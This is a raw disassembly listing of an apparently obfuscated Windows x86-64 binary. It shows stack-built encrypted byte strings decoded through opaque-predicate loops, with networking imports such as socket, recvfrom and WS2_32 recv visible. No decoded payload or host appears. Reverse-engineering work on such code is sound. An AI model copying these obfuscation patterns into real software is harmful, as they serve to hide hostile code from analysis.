lea edi, [r10 + r9]
sub dil, 0xd
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079f76
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007a7f9
add r10b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x42
add dil, r10b
jmp 0x14007aa33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a821
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x14007aa06
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007a84a
sub r10b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007a9d1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007a86f
lea edx, [r10 + 0x56]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
jmp 0x14007a9ac
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007a3cc
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007a93f
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r9b
jmp 0x14007a9af
lea edx, [r10 - 0x6e]
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007aa06
sub r10b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6b
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079f76
add r10b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xf
dec r11
inc r11
jmp 0x140079f76
lea edx, [r10 + 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x65
add dil, dl
sub r10b, 0x3d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x55
add r10b, r9b
mov byte [rbp + r11 + 0x5a0], r10b
inc r8
dec r11
inc r11
jmp 0x140079f76
lea ecx, [r11 + 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4d
dec r11
inc r11
jmp 0x140079f76
movzx r10d, r11b
lea edx, [r10 - 0x7f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x79
add dil, dl
add r10b, 0x4d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x1b
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x5a0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140079f76
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r9 + rax]
sub dil, 0x35
movzx r10d, r11b
sub r10b, 0x29
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x1f
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x5a0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x5a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079f76
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r9 + rax]
add dil, 0x57
movzx eax, byte [rbp + r11 + 0x5a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140079f76
sub r10b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x140079f73
add r10b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x140079f63
lea rcx, [rbp + 0x17fcffc]
jmp 0x14007aaf9
lea rcx, [rbp + 0x1150541]
jmp 0x14007aaf9
lea rcx, [rbp + 0x5a0]
lea rdx, [0x1401fcaf3]
call fcn.140039a40
mov byte [rbp + 0x5d0], 0x75
mov byte [rbp + 0x5d1], 0xaf
mov byte [rbp + 0x5d2], 0x53
mov byte [rbp + 0x5d3], 0x51
mov byte [rbp + 0x5d4], 0xa8
mov byte [rbp + 0x5d5], 0x50
mov byte [rbp + 0x5d6], socket
mov byte [rbp + 0x5d7], 0x41
mov byte [rbp + 0x5d8], 0xb1
mov byte [rbp + 0x5d9], 0xba
mov byte [rbp + 0x5da], 0xb3
mov byte [rbp + 0x5db], 0x49
mov byte [rbp + 0x5dc], 0xb0
mov byte [rbp + 0x5dd], 0x48
mov byte [rbp + 0x5de], recvfrom
mov byte [rbp + 0x5df], 0x50
mov byte [rbp + 0x5e0], 0xbe
mov byte [rbp + 0x5e1], 0xbd
mov byte [rbp + 0x5e2], 0xab
mov byte [rbp + 0x5e3], 0x23
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5e4], xmm0
mov dword [rbp + 0x5f4], eax
mov word [rbp + 0x5f8], ax
movabs r14, 0x6d2e16a1843645a8
movabs r15, 0xd69ecbada5e872e8
movabs r13, 0xfc429e6a9d7be798
movabs r12, 0x478a43e48ca2d0f8
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x2a
jae 0x14007b763
movzx r10d, byte [rbp + r11 + 0x5d0]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007b75a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007ac3c
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x68
jmp 0x14007ac69
je 0x14007b6e2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b656
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b628
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007b5e3
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14007b751
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14007ac9d
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14007acf0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007b59c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b579
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b55e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007b53e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007b51f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007b4f0
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007b23f
nop dword [rax]
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007b224
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007b1fe
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007b1d8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007b1ca
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007b1aa
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007b18d
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007b172
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007b152
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b135
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007ad00
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x10]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007b731
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007b711
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007aeee
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007aed3
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007aeb4
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007b0e3
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007b096
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007b05c
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007b034
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007ad00
lea rbx, [r8 + 2]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007b005
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007afe8
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007afc9
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007afa9
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007af91
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007af76
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007af53
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007af2a
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007af0b
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007ad00
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x10]
jmp 0x14007ad00
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007acf0
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14007ac70
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x14007ac10
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007b5b6
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007abf3
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
dec r11
inc r11
jmp 0x14007abf3
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14007b601
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add rbx, r8
jmp 0x14007b63d
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007b63d
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007b66f
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x14007b69d
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x5d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007abf3
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
mov byte [rbp + r11 + 0x5d0], dil
inc r11
jmp 0x14007abf3
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
cmp r8, 4
jb 0x14007b04c
lea ecx, [r9 - 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x20]
jmp 0x14007b5b6
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x28
jae 0x14007b4b6
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x14007b402
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007b072
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x14007b4d4
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14007b323
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14007b0b0
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007b6f7
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007b69d
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14007b66f
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007b63d
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
add rbx, r8
jmp 0x14007b63d
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14007b5f0
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007abf3
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14007abf3
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14007b5b6
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x14007b25f
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
jmp 0x14007b0f2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b285
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007b6f7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007b2ab
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14007b69d
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007b2cf
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14007b66f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007b2fb
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
dec r11
inc r11
jmp 0x14007abf3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007b0fd
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14007b5b6
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b347
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007b5b6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007b376
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007abf3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007b38d
lea edx, [r9 + 0x48]
mov ecx, 4
jmp 0x14007b5f0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007b3b6
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
add rbx, r8
jmp 0x14007b63d
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007b3d8
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14007b639
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007b0b0
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007b6f7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b428
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007b6f7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007b44c
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14007b66f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007b463
lea edx, [r9 - 0x50]
mov ecx, 0x18
jmp 0x14007b5f0
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007b487
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
dec r11
inc r11
jmp 0x14007abf3
cmp rbx, rcx
jne 0x14007b072
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x14007abf3
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007b601
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007b66f
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x5d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007abf3
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007b66f
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007b63d
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14007b601
sub r9b, 0x48
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 8
dec r11
inc r11
jmp 0x14007abf3
lea edx, [r9 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x28
add r9b, r10b
mov byte [rbp + r11 + 0x5d0], r9b
inc r8
dec r11
inc r11
jmp 0x14007abf3
movzx r9d, r11b
lea edx, [r9 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x58
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x5d0], r9b
add rbx, r8
jmp 0x14007b63d
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x58
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007abf3
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x28
movzx r9d, r11b
add r9b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x5d0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x20
add r10b, cl
mov byte [rbp + r11 + 0x5d0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x5d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007abf3
lea rax, [r11 + r12]
and sil, al
mov ecx, 0x1c
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rbp + r11 + 0x5d0]
add rax, r8
add r11, rax
inc r11
jmp 0x14007abf3
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007abf0
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007abd7
lea rcx, [rbp + 0x176d2b0]
jmp 0x14007b76a
lea rcx, [rbp + 0x16d1858]
jmp 0x14007b76a
lea rcx, [rbp + 0x5d0]
lea rdx, [0x1401fcaf4]
call fcn.140039a40
mov byte [rbp + 0x600], 0x99
mov byte [rbp + 0x601], 0xb7
mov byte [rbp + 0x602], 0xa3
mov byte [rbp + 0x603], 0xa1
mov byte [rbp + 0x604], 0xb6
mov byte [rbp + 0x605], 0xa2
mov byte [rbp + 0x606], 0x7c
mov byte [rbp + 0x607], 0x84
mov byte [rbp + 0x608], 0xa7
mov byte [rbp + 0x609], 0xaf
mov byte [rbp + 0x60a], 0xa9
mov byte [rbp + 0x60b], 0xa9
mov byte [rbp + 0x60c], 0xa5
mov byte [rbp + 0x60d], 0x75
mov byte [rbp + 0x60e], 0x88
mov byte [rbp + 0x60f], 0xa6
mov byte [rbp + 0x610], 0xdf
mov byte [rbp + 0x611], 0xa7
mov byte [rbp + 0x612], 0xaf
mov byte [rbp + 0x613], 0xaf
mov byte [rbp + 0x614], 0x52
xor eax, eax
mov qword [rbp + 0x615], rax
mov dword [rbp + 0x61d], eax
movabs rsi, 0x368c68aa45a0398b
movabs r14, 0xeaefadfc72a205e3
movabs r15, 0xa3a539fed0e0aca1
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x21
jae 0x14007c33d
movzx r10d, byte [rbp + r11 + 0x600]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14007c334
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007b89c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x33
jmp 0x14007b8e3
je 0x14007c2c8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c29d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007c25c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007c23b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c217
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007c1d0
movzx r9d, r11b
cmp r8, r11
ja 0x14007c32b
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14007b911
lea ecx, [r9 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
jmp 0x14007b950
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007c1b8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c19d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c118
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007c0e9
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007be48
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007be2d
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007be04
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007bde1
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007bdc2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007bda2
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007bd85
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007bd66
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007bd49
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007b960
lea rbx, [r8 + 3]
lea r8, [rbx + 6]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007c30e
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007c2f1
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007bb19
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007bafe
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007bae3
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007bd00
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007bcb4
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007bc77
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007bc4f
lea rbx, [r8 + 2]
lea r8, [rbx + 5]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14007bc1d
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007bc00
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007bbe1
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007bbc1
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007bba1
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007bb82
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007bb5f
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007bb36
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007b960
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x40]
jmp 0x14007b960
lea ecx, [r9 + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4f
jmp 0x14007b950
lea ecx, [r9 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
jmp 0x14007b8e7
add r9b, 0x4d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1b
jmp 0x14007b870
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007b853
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
dec r11
inc r11
jmp 0x14007b853
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007c276
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
add rbx, r8
jmp 0x14007c2af
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007c2af
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007c12e
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
jmp 0x14007c15a
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x600]
add rax, r8
add r11, rax
inc r11
jmp 0x14007b853
sub r9b, 0x2f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x49
mov byte [rbp + r11 + 0x600], dil
inc r11
jmp 0x14007b853
lea ecx, [r9 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
cmp r8, 0x3e8
jb 0x14007bc67
lea ecx, [r9 + 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x5c]
